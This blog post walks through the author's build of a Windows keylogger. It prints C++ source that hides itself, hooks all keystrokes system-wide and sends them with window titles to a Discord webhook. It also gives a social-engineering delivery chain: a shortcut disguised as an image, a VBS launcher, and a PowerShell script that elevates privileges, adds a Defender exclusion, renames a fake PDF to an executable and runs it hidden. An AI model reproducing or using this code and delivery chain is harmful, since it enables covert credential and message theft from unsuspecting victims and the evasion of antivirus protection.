Post

Building My First Malware: Nobu.exe

Building My First Malware: Nobu.exe

Okay so I made a keylogger

Let’s be real for a second. After days of dissecting absolute garbage-tier EXEs made by script kiddies, I though “Hey, I can do that”. Except less garbage. More cursed. And here we are, a fully functioning Windows keylogger that lives in the shadows, siphons keystrokes like a digital vampire, and dumps the loot into a Discord webhook like it’s sending confessions at 3AM.

All of this, by the way, is for educational purposes. Do not be a dumbass.

The Anatomy of a Keylogger

1. Go Ghost or Go Home

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Hide console window
void Stealth() {
#ifdef invisible
    HWND hwnd = GetConsoleWindow();
    if (hwnd) {
        ShowWindow(hwnd, SW_HIDE);
        FreeConsole();
    }
#endif
}

// Single instance check
hMutex = CreateMutexW(NULL, TRUE, L"Global\\MyKeyloggerMutex");
if (GetLastError() == ERROR_ALREADY_EXISTS) {
    if (hMutex) CloseHandle(hMutex);
    return 0;
}

Hide the console. Check if there’s already a clone of this malware running. If so, exit quietly


2. Keyboard Hook Setup

1
2
3
4
5
6
7
8
9
10
11
12
// Keyboard hook callback
LRESULT CALLBACK HookCallback(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* kbdStruct = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
        Save(kbdStruct->vkCode);
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook() {
    _hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}

We jam a hook straight into WH_KEYBOARD_LL. This means every key, across the OS, goes through us. That’s right, whether you’re writing an email or confessing to murder in Notepad, I see it all.


3. Key Processing and Special Characters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const std::map<int, std::string> keyname{
    {VK_BACK, "[BACKSPACE]"},
    {VK_RETURN, "\n"},
    {VK_SPACE, " "},
    // ... other special keys ...
};

int Save(int key_stroke) {
    std::string keystr;
    if (keyname.find(key_stroke) != keyname.end()) {
        keystr = keyname.at(key_stroke);
    } else {
        char key = MapVirtualKeyA(key_stroke, MAPVK_VK_TO_CHAR);
        if (key > 0) {
            keystr = std::string(1, key);
        }
    }
    // Append to buffer...
}

You need to process it before storing. Special characters get converted. Everything else gets flushed into the buffer


4. Data Exfiltration to Discord

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bool SendToDiscord(const std::string& window_title, const std::string& keystrokes) {
    std::string json =
    "{"
    "   \"embeds\": [{"
    "       \"title\": \"Keystroke Capture\","
    "       \"color\": 16711680,"
    "       \"fields\": ["
    "           { \"name\": \"Active Window\", \"value\": \"" + EscapeJson(window_title) + "\", \"inline\": false },"
    "           { \"name\": \"Character Count\", \"value\": \"" + std::to_string(keystrokes.size()) + "\", \"inline\": true },"
    "           { \"name\": \"Logged Data\", \"value\": \"```" + EscapeJson(keystrokes) + "```\", \"inline\": false }"
    "       ],"
    "       \"timestamp\": \"" + GetISO8601Time() + "\""
    "   }]"
    "}";
    // HTTP POST via WinHTTP
}

Look, spinning up a whole command-and-control server is effort, and I already wasted enough braincells. Discord webhooks? Easy. Fast. Fancy JSON. Stealthy as hell (unless you just dump the webhook link as a whole). Just make sure not to hit rate limits or maybe you enjoy watching logs disappear into the void.

Webhook Output


5. Threading and Buffering

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
std::string buffer;
std::mutex buffer_mutex;

void DiscordSender() {
    while (running) {
        Sleep(SEND_INTERVAL * 1000);
        
        std::string copy_keystrokes;
        std::string copy_window_title;
        {
            std::lock_guard<std::mutex> lock(buffer_mutex);
            if (buffer.empty()) continue;
            
            copy_keystrokes = buffer;
            copy_window_title = buffer_window_title;
            buffer.clear();
        }
        SendToDiscord(copy_window_title, copy_keystrokes);
    }
}

Thread A logs your filthy typing habits. Thread B dumps it to Discord every few seconds.


Social Engineering: Delivery Mechanism

To get someone to run the payload, I went with a classic folder-trap bait setup. Here’s the structure:

1
2
3
4
5
6
7
📁 main_folder/
├── crypto.png.lnk         <- shortcut disguised as an image
└── .nobu/                 <- hidden folder
    ├── fakenobu.pdf
    ├── realnobu.pdf
    ├── batnobu.ps1
    └── vbsnobu.vbs

The .nobu/ folder is hidden. crypto.png.lnk points to the VBS, which runs the PowerShell script, which renames and executes the payload silently.

batnobu.ps1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ScriptPath = Split-Path -Parent $MyInvocation.MyCommand.Definition

if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(`
    [Security.Principal.WindowsBuiltInRole] "Administrator")) {
    Start-Process -FilePath "powershell.exe" -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs
    exit
}

$realNobuPdf = Join-Path $ScriptPath "realnobu.pdf"
$realNobuExe = Join-Path $ScriptPath "realnobu.exe"

attrib -r -h -s $realNobuPdf
Rename-Item -Path $realNobuPdf -NewName "realnobu.exe" -Force

Add-MpPreference -ExclusionPath $realNobuExe

Start-Process "$ScriptPath\fakenobu.pdf"
Start-Process -FilePath $realNobuExe -WindowStyle Hidden

It asks for admin, renames the payload, adds it to Defender exclusions, opens the decoy, and runs the payload hidden.

vbsnobu.vbs

1
2
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""batnobu.ps1""", 0, False

Silent execution without a visible terminal. Does exactly what you think it does.

crypto.png.lnk

Shortcut pointing to vbsnobu.vbs, icon changed to a PNG, name set to crypto.png. Clicking it feels harmless. It’s not.


Takeaways

This experiment combined code and trickery. Turns out social engineering is way more powerful than just raw exploit code.

  • Code is nothing without delivery
  • Humans are easier to exploit than machines
  • Defender exclusions are a joke
  • Icon swapping + extension spoofing = free access
  • Sometimes just renaming .exe to .pdf is enough

There also alot of other social engineer method like using dll, Left-to-Right override (dont think it still work), change icon directly in the exe (resouce hacker is free btw) and other yet to be explored. Social engineering is a dark art. And once you realize how easy it is to fool a human, it kinda ruins everything. And also makes you want to reformat your entire brain. But hey, at least it was educational.


Sum up

This project made me realize something horrible and beautiful: malware is easy. Terrifyingly easy (at least the simple stuff).
A few lines of C++, a bit of WinAPI black magic, and you’ve got a fully operational surveillance drone.
The hardest part? Tricking people into clicking it.

So… maybe trust less. Click less.
And always check your Task Manager for that one weird mutex.


GitHub Repo:
Nobu


This post is licensed under CC BY 4.0 by the author.